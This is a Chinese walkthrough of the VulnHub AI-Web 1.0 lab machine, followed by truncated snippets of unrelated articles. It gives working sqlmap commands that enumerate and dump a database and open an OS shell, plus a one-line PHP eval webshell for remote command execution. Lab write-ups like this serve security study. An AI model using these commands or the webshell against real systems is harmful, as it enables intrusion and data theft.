【A1web 1.0】靶机复现详解!

靶机地址:

https://www.vulnhub.com/entry/ai-web-1,353/攻击机:kali

            首先虚拟机建一个A1web 1.0靶机            切换nat模式 然后kali扫描

            nmap -sV ip段 0/24                                   扫描出ip进行访问

                   访问没有什么信息

                   使用dirb 对网页进一步扫描

               扫描出来地址进行访问

                     尝试发现robots.txt中有内容 

                 访问发现/m3diNf0/不能正常访问 

          发现/se3reTdir777/uploads/也不能访问页面

                   使用dirb 对/m3diNf0和/se3reTdir777扫描 

                   发现一个网址访问发现是phpinfo页面 

                        继续扫/se3reTdir777 

                    访问index.php 

                   发现是查询页面 考虑sql注入          输入’报错发现sql注入漏洞

                   通过抓包得到注入点uid=1&Operation=Submit

                   使用sqlmap注入页面为http://192.168.77.134/se3reTdir777/index.php

                   注入点为uid=1&Operation=Submit--dbs 列出数据库

sqlmap -u  "http://192.168.77.134/se3reTdir777/index.php" -data "uid=1&Operation=Submit" -dbs

 

得到了aiweb1      information_schema 两个数据库     -D 指定数据库 aiweb1     --tables 列出表名

sqlmap -u  "http://192.168.77.134/se3reTdir777/index.php" -data "uid=1&Operation=Submit" -D aiweb1 --tables

       得到 user systemUser 两个表名  再通过-T 指定表名user   --columns 列出字段

sqlmap -u  "http://192.168.77.134/se3reTdir777/index.php" -data "uid=1&Operation=Submit" -D aiweb1 -T user --columns 

   得到 firstName id lastName 3个字段   再-C 指定字段 id     --dump 获取字段中的数据

sqlmap -u  "http://192.168.77.134/se3reTdir777/index.php" -data "uid=1&Operation=Submit" -D aiweb1 -T user -C id --dump

 获取shell:

sqlmap -u "http://192.168.77.134/se3reTdir777/" --data "uid=1&Operation=Submit"  --os-shell

               

            选2自定义路径 连接成功

                        上传一句话木马

<?php @eval($_POST['cmd'])?>

            

             上传成功

                访问使用蚁剑连接 

             连接成功并添加得到信息

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/51688.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

使用 Matlab 绘制带有纹理的柱状图

以下是效果 1. 在 Matlab 里安装两个额外的库&#xff1a; hatchfill2 和 legendflex。 &#xff08;1&#xff09;搜索并安装 hatchfill2&#xff0c;用来画纹理 (2) 搜索并安装 legendflex&#xff0c;用来画自定义的图例 2. 代码&#xff08;说明见注释&#xff09; data …

排序算法辨析(快速记忆版)(冒泡排序,选择排序,插入排序,希尔排序,归并排序,快速排序)保研面经

选择排序&#xff1a;摸到一叠牌&#xff0c;每次选择出最小的放在合适的位置&#xff08;第一次放在第一张&#xff0c;第二次放在第二张&#xff09;&#xff0c;实现排序 最好最坏都是 O&#xff08;n^2&#xff09; 插入排序&#xff1a;摸牌的时候一张一张摸&#xff0c;每…

每日Attention学习14——Efficient Self-Attention

模块出处 [MICCAI 22] [link] [code] Lesion-aware Dynamic Kernel for Polyp Segmentation 模块名称 Efficient Self-Attention (ESA) 模块作用 高效自注意力 模块结构 模块思想 Self Attention操作在具有优秀的长距离建模能力的同时&#xff0c;也有着较高的计算与内存成…

【DevOps工具链】DevOps工具链的基本组成与功能

DevOps工具链 DevOps工具链的基本组成与功能 目录 引言DevOps概述DevOps工具链组成 版本控制持续集成持续交付与部署配置管理监控与日志管理 典型DevOps工具介绍 GitJenkinsDockerKubernetesAnsiblePrometheus和Grafana DevOps工具链的最佳实践结论 引言 在现代软件开发中&…

缓存策略自定义:Laravel应用性能优化秘籍

缓存策略自定义&#xff1a;Laravel应用性能优化秘籍 在现代Web应用中&#xff0c;缓存是一种提高应用性能和响应速度的有效手段。Laravel框架提供了强大的缓存机制&#xff0c;支持多种缓存驱动&#xff0c;如文件、数据库、Redis等。然而&#xff0c;在某些情况下&#xff0…

Vue 3 状态管理 Pinia 详解

引言 随着 Vue 3 的推出&#xff0c;Pinia 成为了 Vue 社区中一个备受瞩目的状态管理库。它简洁而强大&#xff0c;旨在替代 Vuex&#xff0c;为开发者提供更加灵活的状态管理解决方案。本文将详细介绍 Pinia 的核心概念、安装方法、使用技巧以及如何在 Vue 3 项目中集成 Pini…

学习ruixingkafei过程

一、抓包 手机安装证书&#xff0c;开启VPN抓包&#xff0c;电脑上打开花瓶&#xff0c;在同一个局域网内抓包&#xff0c;这些老一套没什么可说的。 看看我们的抓包结果是不是很美丽&#xff0c;请求内容加密&#xff0c;返回内容也加密&#xff0c;猜测加密方式aes&#xff0…

JWT (JSON Web Token)

&#x1f3bc;个人主页&#xff1a;金灰 &#x1f60e;作者简介:一名简单的大一学生;易编橙终身成长社群的嘉宾.✨ 专注网络空间安全服务,期待与您的交流分享~ 感谢您的点赞、关注、评论、收藏、是对我最大的认可和支持&#xff01;❤️ &#x1f34a;易编橙终身成长社群&#…

AI绘画3分钟解决英文恐惧症,comfyui汉化插件

前言 全面解析&#xff1a;Comfy UI汉化插件的安装与配置指南 本文涉及的工作流和插件&#xff0c;需要的朋友请扫描免费获取哦 引言 本文图片来源网络&#xff0c;侵权联删除。 在全球化的今天&#xff0c;软件界面的本地化是提升用户体验的重要一环。对于许多非英语母语的…

Java面试题基础

基础总结 Java Java 平台无关性 主要通过三个方面实现. Java 语言规范&#xff1a; 通过规定 Java 语言中基本数据类型的取值范围和行为&#xff0c;比如 int 长度为 4 字节&#xff0c;这是固定的。Class 文件&#xff1a; 所有 Java 文件要通过 javac 或者其他一些 java 编…

EasyExcel入门

目录 一、文章简介 二、概念 1.EasyExcel是什么&#xff1f; 2.EasyExcel 能用在哪里&#xff1f; 3.为什么要选用EasyExcel解析excel&#xff1f; 4.如何使用EasyExcel&#xff1f; 三、EasyExcel快速入门 1.环境搭建 2.简单写excel 代码示例 TestFileUtil Employe…

iPhone最全隐藏功能

让你的iphone没有白买&#xff01;一定要学会以下三十个iphone技巧&#xff1a; 一、正品苹果手机输入“苹果”会出现图标&#xff0c;山寨或其他机型只能打出红色的 二、长按图片中的人像不松&#xff0c;可以自动抠图。 三、Siri换男生&#xff0c;设置-Siri与搜索- Siri声音…

关于ollama+open webui无法局域网访问的解决办法

ollama api本地默认地址&#xff1a;http://127.0.0.1:11434 open webui的默认地址&#xff1a;http://127.0.0.1:3000 如果是本机访问&#xff0c;ollama默认允许本机跨域访问&#xff08;哈里是看ollama的日志都是OPTIONS请求&#xff0c;bing后发现的&#xff09;&#xf…

TensorFlow 可用的人脸识别的模型有哪些,各有什么优缺点

在使用TensorFlow进行人脸识别时,有多种可用的模型,每种模型在性能和应用场景方面各有不同。以下是一些常用的人脸识别模型及其优缺点: 1. FaceNet 优点: 高准确性:FaceNet通过计算脸部特征向量并进行向量比较,具有较高的识别准确性。通用性强:生成128维特征向量,可以…

Mysql:删除库下面所有表

Mysql删除库下面所有表 方法一 1、删除数据库&#xff1a; DROP DATABASE your_database_name;2、重新创建数据库&#xff1a; CREATE DATABASE your_database_name;方法二 1、生成删除表语句 SET FOREIGN_KEY_CHECKS 0;SELECT Concat(DROP TABLE IF EXISTS , table_nam…

Linux的NTP配置

一、监控时间&#xff1a; watch date 二、NTP配置 1、查看时间 ntpdate -q 192.168.192.3 ntpdate 192.168.192.3 2、配置时间服务器 vi /etc/ntp.conf server 192.168.192.3 iburst 3、设置时间不允许回调 vi /etc/sysconfig/ntpd OPTIONS"-u ntp:ntp -p /va…

什么时候使用auto

合理使用auto&#xff0c;可以让程序员从复杂的类型编码中解放出来&#xff0c;合理使用auto&#xff0c;可以让程序员从复杂的类型编码中解放出来。 那么什么时候使用auto呢&#xff1f; 1&#xff0e;当一眼就能看出声明变量的初始化类型的时候可以使用auto。 std::map<…

心灵调整:音乐之美

音乐每天都在不同的空间和复杂的形式影响着人们。从电梯音乐削减尴尬的沉默,到家庭交通堵塞。音乐增强了人们所爱的人与人之间的瞬间,并帮助他们度过艰难时期。音乐被用于世界各地几代人的各种形式的治疗。本文进一步阐述了它如何在几种类型的心理健康状况中得到应用。 什么是音…

【SOC 芯片设计 DFT 学习专栏 -- DFT DRC规则检查】

请阅读【嵌入式及芯片开发学必备专栏】 请阅读【芯片设计 DFT 学习系列 】 如有侵权&#xff0c;请联系删除 转自&#xff1a; 芯爵ChipLord 2024年07月10日 12:00 浙江 文章目录 概述DRC的概念Tessent DRC检查的概述时钟相关检查扫描相关检查BIST规则检查预DFT时钟规则检查 …

typescript 其他数据类型说明

/* any、unknown、never类型的区别相同&#xff1a;都是可以赋值任何类型 不同&#xff1a;any可以再赋任何值。unknown二次赋值只能再给any&#xff5c;unknown&#xff0c;不能时其他类型。never绝不能赋值&#xff0c;包括初始化赋值。*/let value1: any "123";…